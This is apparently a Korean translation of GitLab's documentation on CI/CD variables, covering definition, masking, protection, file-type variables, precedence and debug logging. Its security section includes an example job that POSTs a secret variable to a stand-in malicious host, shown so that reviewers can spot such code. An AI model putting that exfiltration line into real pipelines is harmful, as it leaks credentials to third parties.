GitLab CI/CD 변수

Tier: Free, Premium, Ultimate Offering: GitLab.com, Self-managed, GitLab Dedicated

CI/CD 변수는 환경 변수의 일종입니다. 이를 사용하여 다음을 수행할 수 있습니다:

  • 작업 및 파이프라인의 동작 제어
  • 재사용할 값을 저장
  • .gitlab-ci.yml 파일에 하드코딩 값을 피하기

특정 파이프라인에 대해 매뉴얼으로 변수 값을 재정의하거나 매뉴얼 파이프라인에서 미리 채워진 변수을 사용할 수 있습니다.

변수 이름은 러너가 사용하는 셸에서 스크립트를 실행합니다. 각 셸에는 고유한 예약된 변수 이름 세트가 있습니다.

일관된 동작을 보장하기 위해 변수 값을 항상 홑따옴표나 겹따옴표로 묶어야 합니다. 변수는 내부적으로 Psych YAML 파서에 의해 구문 분석되므로, 따옴표로 묶은 변수와 미묶은 변수는 다르게 파싱될 수 있습니다. 예를 들어 VAR1: 012345는 8진수 값으로 해석되어 값이 5349가 되지만, VAR1: "012345"는 값이 012345인 문자열로 파싱됩니다.

고급 GitLab CI/CD 사용에 대한 자세한 내용은 GitLab 엔지니어가 공유하는 7가지 고급 GitLab CI 워크플로우 해킹을 참조하세요.

사전 정의된 CI/CD 변수

GitLab CI/CD는 파이프라인 구성 및 작업 스크립트에서 사용할 수 있는 사전 정의된 CI/CD 변수 집합을 제공합니다. 이러한 변수에는 파이프라인이 트리거되거나 실행될 때 필요한 작업, 파이프라인 및 다른 값에 대한 정보가 포함되어 있습니다.

.gitlab-ci.yml에서 사전 정의된 CI/CD 변수를 먼저 선언하지 않고 사용할 수 있습니다. 예를 들어: 

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

이 예에서 스크립트는 The job's stage is 'test'를 출력합니다.

.gitlab-ci.yml 파일에서 CI/CD 변수 정의

.gitlab-ci.yml 파일에서 CI/CD 변수를 생성하려면 변수와 값을 variables 키워드로 정의하세요.

.gitlab-ci.yml 파일에 저장된 변수는 리포지터리에 액세스할 수 있는 모든 사용자에게 표시되며 프로젝트 구성에 민감하지 않은 변수만 저장해야 합니다. 예를 들어 DATABASE_URL 변수에 저장된 데이터베이스의 URL입니다. 비밀 또는 키와 같은 민감한 값이 들어있는 민감한 변수는 프로젝트 설정에 저장해야 합니다.

variables는 작업 내부 또는 .gitlab-ci.yml 파일의 최상위 수준에서 사용할 수 있습니다. 변수가 다음과 같이 정의된 경우:

  • 최상위 수준에서 정의되면 전역으로 사용할 수 있으며 모든 작업에서 사용할 수 있습니다.
  • 작업 내에서 정의되면 해당 작업에서만 사용할 수 있습니다.

예를 들어: 

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

이 예에서:

  • job1은 Variables are 'A global variable' and 'A job variable'를 출력합니다.
  • job2는 Variables are 'A global variable' and ''를 출력합니다.

미리 채워진 변수를 정의하려면 value 및 description 키워드를 사용합니다. 을 사용하세요.

단일 작업에서 전역 변수 건너뛰기

전역으로 정의된 변수를 특정 작업에서 사용하고 싶지 않다면 variables를 {}로 설정하세요: 

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

UI에서 CI/CD 변수 정의

토큰 또는 비밀번호와 같은 민감한 변수는 .gitlab-ci.yml` 파일에 저장하는 대신 UI의 설정에 저장해야 합니다. UI에서 CI/CD 변수를 정의하세요:

또한 API를 사용하여이러한 변수를 추가할 수도 있습니다:

기본적으로 포크된 프로젝트의 파이프라인에서는 부모 프로젝트에서 사용 가능한 CI/CD 변수에 액세스할 수 없습니다. 포크된 프로젝트가 아닌 포크된 프로젝트에 대한 Merge Request의 부모 프로젝트에서 파이프라인을 실행하는 경우 모든 변수가 파이프라인에서 사용할 수 있게 됩니다.

프로젝트에 대해

  • GitLab 15.7에서 도입, 프로젝트는 최대 200개의 CI/CD 변수를 정의할 수 있습니다.
  • GitLab 15.9에서 업데이트, 프로젝트는 최대 8000개의 CI/CD 변수를 정의할 수 있습니다.

프로젝트 설정에 CI/CD 변수를 추가할 수 있습니다.

필수 조건:

  • Maintainer 역할을 가진 프로젝트 멤버여야 합니다.

프로젝트 설정에서 변수를 추가하거나 업데이트하려면:

  1. 프로젝트의 Settings > CI/CD로 이동하고 Variables 섹션을 확장하세요.
  2. 변수 추가를 선택하고 다음을 입력하세요:
    • Key: 한 줄이어야하며 문자, 숫자 또는 _만 사용하여 공백이 없어야 합니다.
    • Value: 제한 사항 없음.
    • Type: Variable(기본) 또는 File.
    • 환경 범위: 선택 사항. 모두 또는 특정 환경입니다.
    • 변수 보호: 선택 사항. 선택하면 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
    • 변수 마스킹: 선택 사항. 선택하면 변수의 Value가 작업 로그에서 마스킹됩니다. 값이 마스킹 요구 사항을 충족하지 않으면 변수가 저장되지 않습니다.

변수를 만든 후에는 파이프라인 구성 또는 작업 스크립트에서 사용할 수 있습니다.

그룹을 위한

  • 환경 범위를 지원은 GitLab Premium 13.11에서 소개되었습니다.
  • 그룹은 GitLab 15.7에서 소개되었으며 최대 200개의 CI/CD 변수를 정의할 수 있습니다.
  • GitLab 15.9에서 업데이트되어, 그룹은 최대 30000개의 CI/CD 변수를 정의할 수 있습니다.

그룹의 모든 프로젝트에서 CI/CD 변수를 사용할 수 있습니다.

사전 준비 사항:

  • 소유자 역할을 가진 그룹 구성원이어야 합니다.

그룹 변수를 추가하려면:

  1. 그룹에서 설정 > CI/CD로 이동합니다.
  2. 변수 추가를 선택하고 다음 세부 정보를 입력합니다:
    • 키: 공백 없이 한 줄로, 영문자, 숫자 또는 _ 만을 사용해야 합니다.
    • 값: 제한 없음.
    • 유형: Variable (기본값) 또는 File.
    • 환경 범위: 선택 사항. All 또는 특정 환경.
    • 변수 보호: 선택 사항. 선택 시, 해당 변수는 보호된 브랜치 또는 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
    • 변수 마스킹: 선택 사항. 선택 시, 변수의 값이 작업 로그에 마스킹되며, 값이 마스킹 요구 사항을 충족하지 않으면 변수가 저장되지 않습니다.

프로젝트의 설정 > CI/CD > 변수 섹션에 있는 그룹 변수 디렉터리에는 하위 그룹에서 상속된 변수가 재귀적으로 나열됩니다.

인스턴스를 위한

Tier: Free, Premium, Ultimate Offering: Self-managed, GitLab Dedicated

GitLab 인스턴스의 모든 프로젝트 및 그룹에서 CI/CD 변수를 사용할 수 있습니다.

사전 준비 사항:

  • 인스턴스에 대한 관리자 액세스 권한이 있어야 합니다.

인스턴스 변수를 추가하려면:

  1. 왼쪽 사이드바에서 가장 아래에 있는 관리 영역을 선택합니다.
  2. 설정 > CI/CD를 선택하고 Variables 섹션을 확장합니다.
  3. 변수 추가를 선택하고 다음 세부 정보를 입력합니다:
    • 키: 공백 없이 한 줄로, 영문자, 숫자 또는 _ 만을 사용해야 합니다.
    • 값: GitLab 13.3 이상에서 값은 10,000자로 제한되지만 러너의 운영 체제에서의 제한에 따라 결정됩니다. GitLab 13.0에서 13.2까지는 값이 700자로 제한됩니다.
    • 유형: Variable (기본값) 또는 File.
    • 변수 보호: 선택 사항. 선택 시, 해당 변수는 보호된 브랜치 또는 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
    • 변수 마스킹: 선택 사항. 선택 시, 변수의 값이 작업 로그에 표시되지 않으며, 값이 마스킹 요구 사항을 충족하지 않으면 변수가 저장되지 않습니다.

CI/CD 변수 보안

.gitlab-ci.yml 파일에 푸시된 코드는 변수를 compromise할 수 있습니다. 변수는 실수로 작업 로그에 노출될 수 있거나, 악의적으로 제3자 서버로 전송될 수 있습니다.

부모 프로젝트에서 포크된 프로젝트에서 제출된 Merge Request에 대한 파이프라인을 실행하기 전에 .gitlab-ci.yml 파일에 변경 사항을 도입하는 모든 Merge Request을 검토하십시오.

.gitlab-ci.yml 파일을 가져온 프로젝트를 검토하고 파일을 추가하거나 해당 프로젝트에 대해 파이프라인을 실행하기 전에 해당 파일을 검토하십시오.

다음 예는 .gitlab-ci.yml 파일에서의 악성 코드를 보여줍니다: 

accidental-leak-job:
  script:                                         # 실수로 노출된 비밀번호
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # 악의적으로 노출된 비밀번호
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

accidental-leak-job에서와 같이 스크립트를 통해 비밀 정보를 실수로 노출하는 것을 방지하기 위해 모든 민감한 정보를 포함하는 모든 변수는 작업 로그에서 마스킹되어야 합니다. 또한 보호된 브랜치 및 태그에서만 변수 사용을 제한하여야 합니다.

또는 GitLab의 HashiCorp Vault 통합을 사용하여 비밀 정보를 저장하고 검색할 수 있습니다.

malicious-job의 경우와 같이 악의적인 스크립트는 검토 과정에서 발견되어야 합니다. 검토자는 악성 코드가 발견되면 절대로 파이프라인을 트리거해서는 안 됩니다. 악성 코드는 마스킹된 변수와 보호된 변수 모두를 compromise할 수 있기 때문입니다.

변수 값은 aes-256-cbc로 암호화되어 데이터베이스에 저장됩니다. 이 데이터는 유효한 비밀 파일로만 읽고 복호화할 수 있습니다.

CI/CD 변수 마스킹

caution
CI/CD 변수를 마스킹하는 것은 악의적 사용자가 변수 값을 액세스하는 것을 보장하는 방법이 아닙니다. 마스킹 기능은 “최선의 노력”이며, 변수가 실수로 노출될 때 도움을 줍니다. 변수를 더 안전하게 만들기 위해 외부 비밀를 사용하고 File 유형의 변수를 고려하세요.

프로젝트, 그룹 또는 인스턴스 CI/CD 변수를 마스킹하여 변수 값이 작업 로그에 표시되지 않도록 할 수 있습니다.

사전 준비 사항:

변수를 마스킹하려면:

  1. 프로젝트, 그룹 또는 관리 영역에서 설정 > CI/CD로 이동합니다.
  2. Variables 섹션을 확장합니다.
  3. 보호하려는 변수 옆에 편집을 선택합니다.
  4. Mask variable 확인란을 선택합니다.
  5. 변수 업데이트를 선택합니다.

변수를 마스킹하는 데 사용되는 방법은 마스킹된 변수에 포함될 수 있는 내용을 제한합니다. 변수의 값은 다음 조건을 충족해야 합니다:

  • 단일 행이어야 합니다.
  • 8자 이상이어야 합니다.
  • 기존의 사전 정의된 또는 사용자 정의 CI/CD 변수의 이름과 일치하지 않아야 합니다.

또한 변수 확장이 활성화된 경우 값은 다음과 같아야 합니다.

  • Base64 알파벳 (RFC4648)의 문자.
  • @, :, ., ~ 문자.

서로 다른 GitLab Runner 버전에는 다른 마스킹 제한이 있습니다:

버전 제한 사항
v14.1.0 이전 대형 비밀 번호의 마스킹 (4 KiB 이상)이 잠재적으로 노출될 수 있습니다. 민감한 URL 매개 변수 마스킹 없음.
v14.2.0 ~ v15.3.0 대형 비밀 번호의 끝이 잠재적으로 노출될 수 있습니다 (4 KiB 이상). 민감한 URL 매개 변수 마스킹 없음.
v15.7.0 이후 CI_DEBUG_SERVICES가 활성화되었을 때 비밀이 노출될 수 있습니다. 자세한 정보는 서비스 컨테이너 로깅을 읽어보십시오.

CI/CD 변수 보호

프로젝트, 그룹 또는 인스턴스 CI/CD 변수를 구성하여 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에만 사용할 수 있도록 설정할 수 있습니다.

Merge된 결과 파이프라인 및 Merge Request 파이프라인에서는 이러한 변수에 액세스할 수 없습니다.

전제 조건:

변수를 보호하려면:

  1. 프로젝트, 그룹 또는 인스턴스 Admin Area의 설정 > CI/CD로 이동합니다.
  2. Variables 섹션을 확장합니다.
  3. 보호하려는 변수 옆에서 Edit를 선택합니다.
  4. Protect variable 확인란을 선택합니다.
  5. Update variable를 선택합니다.

변수는 이후 모든 파이프라인에서 사용할 수 있습니다.

파일 유형 CI/CD 변수 사용

모든 미리 정의된 CI/CD 변수 및 .gitlab-ci.yml 파일에 정의된 변수는 “variable” 유형입니다 (API에서 env_var의 variable_type). 변수 유형 변수는 다음과 같습니다.

  • 키 및 값 쌍으로 구성됩니다.
  • 작업에서 환경 변수로 사용되며 다음이 포함됩니다.
    • 환경 변수 이름으로 CI/CD 변수 키를 사용합니다.
    • 환경 변수 값으로 CI/CD 변수 값 사용합니다.

프로젝트, 그룹 및 인스턴스 CI/CD 변수는 기본적으로 “variable” 유형이지만 선택적으로 “file” 유형으로 설정할 수 있습니다 (API에서 file의 variable_type). 파일 유형 변수는 다음과 같습니다.

  • 키, 값 및 파일로 구성됩니다.
  • 환경 변수로 작업에 사용되며 다음이 포함됩니다.
    • 환경 변수 이름으로 CI/CD 변수 키를 사용합니다.
    • 임시 파일에 저장된 CI/CD 변수 값 사용합니다.
    • 환경 변수 값으로 임시 파일의 경로 사용합니다.

파일 유형 CI/CD 변수를 입력으로 사용하는 도구에 대해 파일이 필요한 경우, The AWS CLI 및 kubectl 둘 다 구성을 위해 File 유형 변수를 사용합니다.

예를 들어, 다음과 같이 kubectl을 사용하는 경우:

  • 키가 KUBE_URL이고 값이 https://example.com인 변수.
  • 키가 KUBE_CA_PEM이고 값이 인증서인 파일 유형 변수.

KUBE_URL을 변수로 받아들이는 --server 옵션을 사용하고, $KUBE_CA_PEM을 변수로 받아들이는 --certificate-authority 옵션을 사용합니다. --certificate-authority 옵션은 파일의 경로를 받아들입니다. 

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
caution
GitLab 15.6 이하에서 파일 변수의 값을 다른 변수에 할당할 때 주의하십시오. 다른 변수는 해당 파일의 내용으로 값이 할당되며 파일의 경로가 아닙니다. GitLab 15.7 이상에서 이 동작은 수정되었습니다 다른 변수는 이제 파일의 경로를 값으로 가져옵니다.

.gitlab-ci.yml 변수를 파일 유형 변수로 사용

.gitlab-ci.yml 파일에서 정의된 CI/CD 변수를 파일 유형 변수로 설정할 수 없습니다. 그러나 파일 경로가 필요한 도구를 사용하려면 .gitlab-ci.yml에서 정의된 변수를 사용하려면 다음을 수행하십시오.

  • 변수 값 저장 명령 실행.
  • 도구에 해당 파일 사용.

예를 들어: 

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

작업 스크립트에서 CI/CD 변수 사용

모든 CI/CD 변수는 작업 환경에서 환경 변수로 설정됩니다. 각 환경의 쉘에 대한 표준 형식을 사용하여 작업 스크립트에서 변수를 사용할 수 있습니다.

환경 변수에 액세스하려면 runner executor’s shell에 대한 구문을 사용하십시오.

Bash, sh 및 유사한 쉘에서

Bash, sh 및 유사한 쉘에서 환경 변수에 액세스하려면 CI/CD 변수 앞에 ($)를 붙이십시오. 

job_name:
  script:
    - echo "$CI_JOB_ID"

PowerShell에서

Windows PowerShell 환경(시스템에 의해 설정된 환경 변수 포함)에서 변수에 액세스하려면 변수 이름 앞에 $env: 또는 $를 붙이십시오. 

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

일부 경우에는 환경 변수를 제대로 확장하려면 따옴표로 둘러싸야 할 수도 있습니다. 

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

Windows Batch에서

Windows Batch에서 CI/CD 변수에 액세스하려면 변수를 %로 둘러싸십시오. 

job_name:
  script:
    - echo %CI_JOB_ID%

또한 변수를 !로 둘러싼 지연 확장을 위해 사용할 수 있습니다. 지연 확장을 사용해야 하는 경우 공백이나 개행 문자를 포함하는 변수에 필요할 수 있습니다. 

job_name:
  script:
    - echo !ERROR_MESSAGE!

서비스 컨테이너에서

서비스 컨테이너에서 CI/CD 변수를 사용할 수 있지만, 기본적으로 .gitlab-ci.yml` 파일에 저장된 변수에만 액세스할 수 있습니다.

기본적으로 UI에서 설정한 변수는 서비스 컨테이너에서 사용할 수 없습니다. UI에서 정의한 변수를 서비스 컨테이너에서 사용하려면 .gitlab-ci.yml에서 다시 할당하십시오. 

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

다른 작업에 환경 변수 전달하기

나중 단계의 다른 작업에서 작업에서 생성한 새 환경 변수를 만들고 다른 작업에 전달할 수 있습니다. 이러한 변수는 파이프라인을 구성하는 CI/CD 변수로 사용할 수 없지만 작업 스크립트에서 사용할 수 있습니다.

다른 작업에 작업에서 생성한 환경 변수를 전달하려면:

  1. 작업 스크립트에서 변수를 .env 파일로 저장합니다.
    • 파일 형식은 한 줄에 하나의 변수 정의여야 합니다.
    • 각 줄은 다음과 같이 형식화되어야 합니다: VARIABLE_NAME=여기에 값 입력.
    • 값은 따옴표로 묶일 수 있지만 새 줄 문자를 포함할 수 없습니다.
  2. .env 파일을 artifacts:reports:dotenv로 저장합니다.
  3. 나중 단계의 작업에서 스크립트에서 변수를 사용할 수 있습니다, 작업이 dotenv 변수를 받지 않도록 설정되지 않은 경우.

예: 

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # 출력: 'value_from_build_job'

dotenv 보고서에서 변수는 우선순위가 높습니다.

또한 하향 파이프라인에 dotenv 변수를 전달할 수 있습니다

dotenv 변수를 받는 작업 제어

dependencies 또는 needs 키워드를 사용하여 dotenv 아티팩트를 받는 작업을 제어할 수 있습니다.

dotenv 아티팩트에서 환경 변수를 사용하기를 원하지 않는 경우:

  • 빈 dependencies 또는 needs 배열을 전달합니다.
  • needs:artifacts를 false로 전달합니다.
  • needs를 사용하여 dotenv 아티팩트가없는 작업만 나열합니다.

예: 

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "This job has no dotenv artifacts"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  dependencies:
    - build

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  needs:
    job: build-job1
    artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  needs:
    job: build-job1
    artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  needs:
    - build-job2

한 변수에 여러 값 저장하기

배열 값의 CI/CD 변수를 만들 수는 없지만 비슷한 동작을 위해 셸 스크립팅 기술을 사용할 수 있습니다.

예를 들어, 변수에 공백으로 구분된 여러 값을 저장한 다음 스크립트로 값을 반복할 수 있습니다: 

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

다른 변수에서 CI/CD 변수 사용하기

다른 변수 내에서 변수를 사용할 수 있습니다: 

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al'을 실행합니다

CI/CD 변수에서 $ 문자 사용하기

$ 문자를 다른 변수의 시작으로 해석하지 않으려면 대신 $$를 사용하십시오: 

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al $TMP_DIR'를 실행합니다

CI/CD 변수 확장 방지

확장된 변수는 값에 $ 문자가 다른 변수를 참조하는 것으로 취급합니다. 기본적으로 CI/CD 변수가 확장됩니다. $ 문자가 포함된 변수를 로우 문자열로 취급하려면 변수의 확장을 비활성화합니다.

전제 조건:

변수의 확장을 비활성화하려면:

  1. 프로젝트 또는 그룹에서 설정 > CI/CD로 이동합니다.
  2. Variables 섹션을 확장합니다.
  3. 확장하지 않을 변수 옆에 편집을 선택합니다.
  4. 변수 확장 확인란을 지웁니다.
  5. 변수 업데이트를 선택합니다.

CI/CD 변수 우선순위

다른 위치에서 동일한 이름의 CI/CD 변수를 사용할 수 있지만 값은 서로 덮어쓸 수 있습니다. 변수의 유형 및 정의된 위치에 따라 변수의 우선순위가 결정됩니다.

변수의 우선순위는 다음과 같습니다(높은 우선순위부터 낮은 우선순위까지):

  1. 스캔 실행 정책 변수.
  2. 이러한 변수는 모두 (최고의) 우선순위를 가집니다:
  3. 프로젝트 변수.
  4. 그룹 변수. 동일한 변수 이름이 그룹과 하위 그룹에 있으면 작업은 가장 가까운 하위 그룹의 값으로 사용합니다. 예를 들어 그룹 > 하위 그룹 1 > 하위 그룹 2 > 프로젝트가 있다면 하위 그룹 2에 정의된 변수가 우선합니다.
  5. 인스턴스 변수.
  6. dotenv 보고서에서 정의된 변수.
  7. .gitlab-ci.yml 파일의 작업에서 정의된 변수.
  8. 전역으로 정의된 변수(작업 외부)로 .gitlab-ci.yml 파일.
  9. 배포 변수.
  10. 사전 정의된 변수.

예: 

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

이 예에서 job1은 작업에서 정의된 변수가 전역으로 정의된 변수보다 우선순위가 더 높기 때문에 The variable is 'secure'를 출력합니다.

정의된 CI/CD 변수 재정의

다음 경우에 변수의 값을 재정의할 수 있습니다.

미리 정의된 변수를 무시해야 하며, 이는 예상치 못한 파이프라인 동작을 일으킬 수 있습니다.

변수를 재정의할 수 있는 사용자 제한하기

  • GitLab 13.8에서 도입되었습니다.

변수를 재정의할 권한을 유지자(Maintainer) 역할을 하는 사용자에게만 제한할 수 있습니다. 다른 사용자가 재정의된 변수로 파이프라인을 실행하려고 할 때, “Insufficient permissions to set pipeline variables” 오류 메시지를 받게 됩니다.

프로젝트 API를 사용하여 restrict_user_defined_variables 설정을 활성화하여 이 기능을 사용할 수 있습니다. 이 설정은 기본적으로 disabled 상태입니다.

만약 CI/CD 구성을 다른 리포지터리에 저장하는 경우, 파이프라인이 실행되는 환경을 제어하기 위해 이 설정을 사용하세요.

변수 내보내기

분리된 쉘 컨텍스트에서 실행되는 스크립트들은 익스포트, 별칭, 지역 함수 정의 또는 다른 지역 셸 업데이트를 공유하지 않습니다.

이는 작업이 실패한 경우 사용자 정의 스크립트로 생성된 변수가 내보내어지지 않는다는 것을 의미합니다.

러너(runner)가 .gitlab-ci.yml에 정의된 작업을 실행할 때:

  • before_script에서 지정된 스크립트와 메인 스크립트는 단일 셸 컨텍스트에서 함께 실행되며 연결됩니다.
  • after_script에 지정된 스크립트는 before_script 및 지정된 스크립트와 완전히 분리된 셸 컨텍스트에서 실행됩니다.

스크립트가 실행되는 셸의 종류와 관계없이, 러너(runner) 출력에는 다음이 포함됩니다.

  • 미리 정의된 변수
  • 다음에서 정의된 변수:
    • 인스턴스, 그룹 또는 프로젝트 CI/CD 설정.
    • variables: 섹션에 있는 .gitlab-ci.yml 파일.
    • secrets: 섹션에 있는 .gitlab-ci.yml 파일.
    • config.toml.

러너(runner)는 매뉴얼 익스포트, 셸 별칭 및 스크립트 본문에서 실행된 함수를 처리할 수 없습니다. (export MY_VARIABLE=1과 같은)

예를 들어, 다음 .gitlab-ci.yml 파일에서 다음 스크립트가 정의되어 있습니다. 

job:
 variables:
   JOB_DEFINED_VARIABLE: "job variable"
 before_script:
   - echo "This is the 'before_script' script"
   - export MY_VARIABLE="variable"
 script:
   - echo "This is the 'script' script"
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"
 after_script:
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

러너(runner)가 작업을 실행할 때,

  1. before_script가 실행됩니다.
    1. 출력으로 표시됩니다.
    2. MY_VARIABLE 변수를 정의합니다.
  2. script가 실행됩니다.
    1. 출력으로 표시됩니다.
    2. JOB_DEFINED_VARIABLE의 값을 표시합니다.
    3. CI_COMMIT_SHA의 값을 표시합니다.
    4. MY_VARIABLE의 값을 표시합니다.
  3. after_script가 새로운, 분리된 쉘 컨텍스트에서 실행됩니다.
    1. 출력으로 표시됩니다.
    2. JOB_DEFINED_VARIABLE의 값을 표시합니다.
    3. CI_COMMIT_SHA의 값을 표시합니다.
    4. MY_VARIABLE의 빈 값이 표시됩니다. after_script는 before_script와 별개의 셸 컨텍스트에 있기 때문에 변수 값이 감지되지 않습니다.

관련 주제

문제 해결

모든 변수 나열

export 명령어로 스크립트에 사용 가능한 모든 변수를 나열할 수 있습니다. 이는 보안 위험이 될 수 있는 모든 사용 가능한 변수의 값을 노출시킵니다. 마스킹된 변수는 [masked]로 표시됩니다.

예를 들어, Bash에서: 

job_name:
  script:
    - export

작업 로그 출력 예시 (일부분): 

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...

디버그 로깅 활성화

caution
디버그 로깅은 심각한 보안 위험을 야기할 수 있습니다. 출력물에는 작업에 사용 가능한 모든 변수 및 기타 비밀 정보의 내용이 포함되어 있습니다. 출력물은 GitLab 서버에 업로드되어 작업 로그에서 볼 수 있습니다.

디버그 로깅을 사용하여 파이프라인 구성이나 작업 스크립트의 문제를 해결하는 데 도움을 받을 수 있습니다. 디버그 로깅은 일반적으로 실행중인 것을 숨기는 작업 실행 세부 정보를 노출시키며, 작업 로그를 더 자세하게 만듭니다. 또한 작업에 사용 가능한 모든 변수와 비밀 정보를 노출합니다.

디버그 로깅을 활성화하기 전에 작업 로그를 볼 수 있는 사람이 팀 멤버뿐인지 확인하세요. 또한 다시 로그를 공개하기 전에 디버그 출력물이 포함된 작업 로그를 삭제해야 합니다.

디버그 로깅을 활성화하려면 CI_DEBUG_TRACE 변수를 true로 설정하세요: 

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

출력 예시 (일부분): 

...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
...

디버그 로깅 액세스 제한

디버그 로깅 액세스를 제한할 수 있습니다. 제한된 경우 디버그 로깅이 활성화된 상태에서는 최소한 개발자 역할을 가진 사용자만 작업 로그를 볼 수 있습니다. 이 기능은 다음 위치의 변수로 활성화됩니다.

caution
CI_DEBUG_TRACE를 로컬 변수로 추가하면, 디버그 로그가 생성되어 작업 로그에 액세스할 수 있는 모든 사용자에게 표시됩니다. Runner에서는 권한 수준을 확인하지 않으므로 해당 변수는 GitLab 자체에서만 사용해야 합니다.

알려진 문제 및 해결책

이는 CI/CD 변수와 관련된 일부 알려진 문제 및 해당하는 경우 알려진 해결책입니다.

“argument list too long”

이 문제는 작업이 실행되는 셸에서 적용된 제한(일반적으로 ARG_MAX로 알려짐)을 초과하여 작업에 정의된 모든 CI/CD 변수의 합쳐진 길이가 제한을 초과할 때 발생합니다. 이는 미리 정의된 변수 및 사용자가 정의한 변수들의 이름과 값들을 포함합니다. 이 제한은 보통 셸 및 운영 체제에 따라 다릅니다. 이 문제는 또한 단일 파일 유형의 변수의 내용이 ARG_MAX를 초과할 때도 발생합니다.

자세한 정보는 이슈 392406를 참조하세요.

해결책으로 다음 중 하나를 사용할 수 있습니다:

  • 가능한 경우 대규모 환경 변수에는 파일 유형의 CI/CD 변수를 사용합니다.
  • 단일 큰 변수가 ARG_MAX보다 큰 경우, 보안 파일을 사용하거나 다른 메커니즘을 통해 작업으로 파일을 가져올 수 있습니다.